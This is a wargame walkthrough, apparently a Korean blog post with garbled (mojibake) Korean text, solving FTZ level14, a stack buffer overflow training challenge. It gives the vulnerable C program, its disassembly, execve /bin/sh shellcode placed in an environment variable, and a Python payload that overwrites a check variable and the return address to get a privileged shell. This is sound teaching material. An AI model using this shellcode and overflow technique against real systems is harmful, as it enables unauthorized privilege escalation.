[FTZ] level14 ํ์ด
๐ก FTZ level14 ํ์ด
๋ฌธ์
๊ณ์ : level14/what that nigga want?
hint
๋ ๋ฒจ14 ์ดํ๋ก๋ mainsource์ ๋ฌธ์ ๋ฅผ ๊ทธ๋๋ก ๊ฐ์ ธ์์ต๋๋ค.
๋ฒํผ ์ค๋ฒํ๋ก์ฐ, ํฌ๋งท์คํธ๋ง์ ํ์ตํ๋๋ฐ๋ ์ด ๋ฌธ์ ๋ค์ด
์ต๊ณ ์ ํจ๊ณผ๋ฅผ ๊ฐ์ ธ๋ค์ค๋๋ค.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
ํ์ด
13๋ฒ๊ณผ ๋์ผํ๊ฒ, ret ์ฃผ์๋ฅผ ๋ฎ๋ ๊ณผ์ ์์ check ๋ณ์์ crap ๋ณ์๋ ๋ฎ์ด ์ฐ์ฌ ์ง๋๋ค. ์ด๋, check ๋ณ์๋ฅผ ๊ฒ์ฆํ๊ณ ์์ผ๋ฏ๋ก, check ๋ณ์ ๊ฐ์ ์ฃผ์ํ์ฌ ๋ฎ์ด์ฐ๋ฉด ๋ฉ๋๋ค.
๋จผ์ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ถ์ํฉ๋๋ค.
[level14@ftz level14]$ gdb -q attackme
(gdb) set disass intel
(gdb) disass main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d
0x080484a1 <main+17>: lea eax,[ebp-56] //ebp-56 ์์น์ buf ์กด์ฌ
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: cmp DWORD PTR [ebp-16],0xdeadbeef //ebp-16 ์์น์ check ์กด์ฌ
0x080484b4 <main+36>: jne 0x80484db <main+75>
0x080484b6 <main+38>: sub esp,0x8
0x080484b9 <main+41>: push 0xc17
0x080484be <main+46>: push 0xc17
0x080484c3 <main+51>: call 0x8048380 <setreuid>
0x080484c8 <main+56>: add esp,0x10
0x080484cb <main+59>: sub esp,0xc
0x080484ce <main+62>: push 0x8048548
0x080484d3 <main+67>: call 0x8048340 <system>
0x080484d8 <main+72>: add esp,0x10
0x080484db <main+75>: leave
0x080484dc <main+76>: ret
0x080484dd <main+77>: lea esi,[esi]
๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ์ด ๋์ด ์์ต๋๋ค.
ret(4)
ebp(4)
dummy + crap (12)
check(4) // ebp-16
dummy(20) // buf์ check ์ฃผ์ ์ฐจ์ด ๋งํผ
buf(20) // ebp-56
ํ๊ฒฝ๋ณ์์ ์์ฝ๋๋ฅผ ๋ฑ๋กํ๊ณ , ํ๊ฒฝ๋ณ์์ ์ฃผ์๋ฅผ ์์๋ ๋๋ค.
[level14@ftz tmp]$ export SHELLCODE=$(python -c 'print("\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')
[level14@ftz tmp]$ echo 'int main(){printf("%p\n",getenv("SHELLCODE"));}' >> env.c
[level14@ftz tmp]$ gcc -o env env.c
[level14@ftz tmp]$ ./env
0xbffffc6d
ํ๋ก๊ทธ๋จ์ ์คํํ์ฌ ret ์ฃผ์๋ฅผ ๋ฎ์ด ์๋๋ค.
- buf + dummy 40 ๋ฐ์ดํธ
- check -> 0xdeadbeef
- dummy + crap + ebp 16 ๋ฐ์ดํธ
- 0xbffffc6d ๋ก ๋ฆฌํด ์ฃผ์ ๋ณ๊ฒฝ
[level14@ftz level14]$ (python -c'print("A"*40+"\xef\xbe\xad\xde"+"A"*16+"\x6d\xfc\xff\xbf")';cat) | ./attackme
id
uid=3095(level15) gid=3094(level14) groups=3094(level14)
my-pass
Level15 Password is "guess what".
๋๊ธ๋จ๊ธฐ๊ธฐ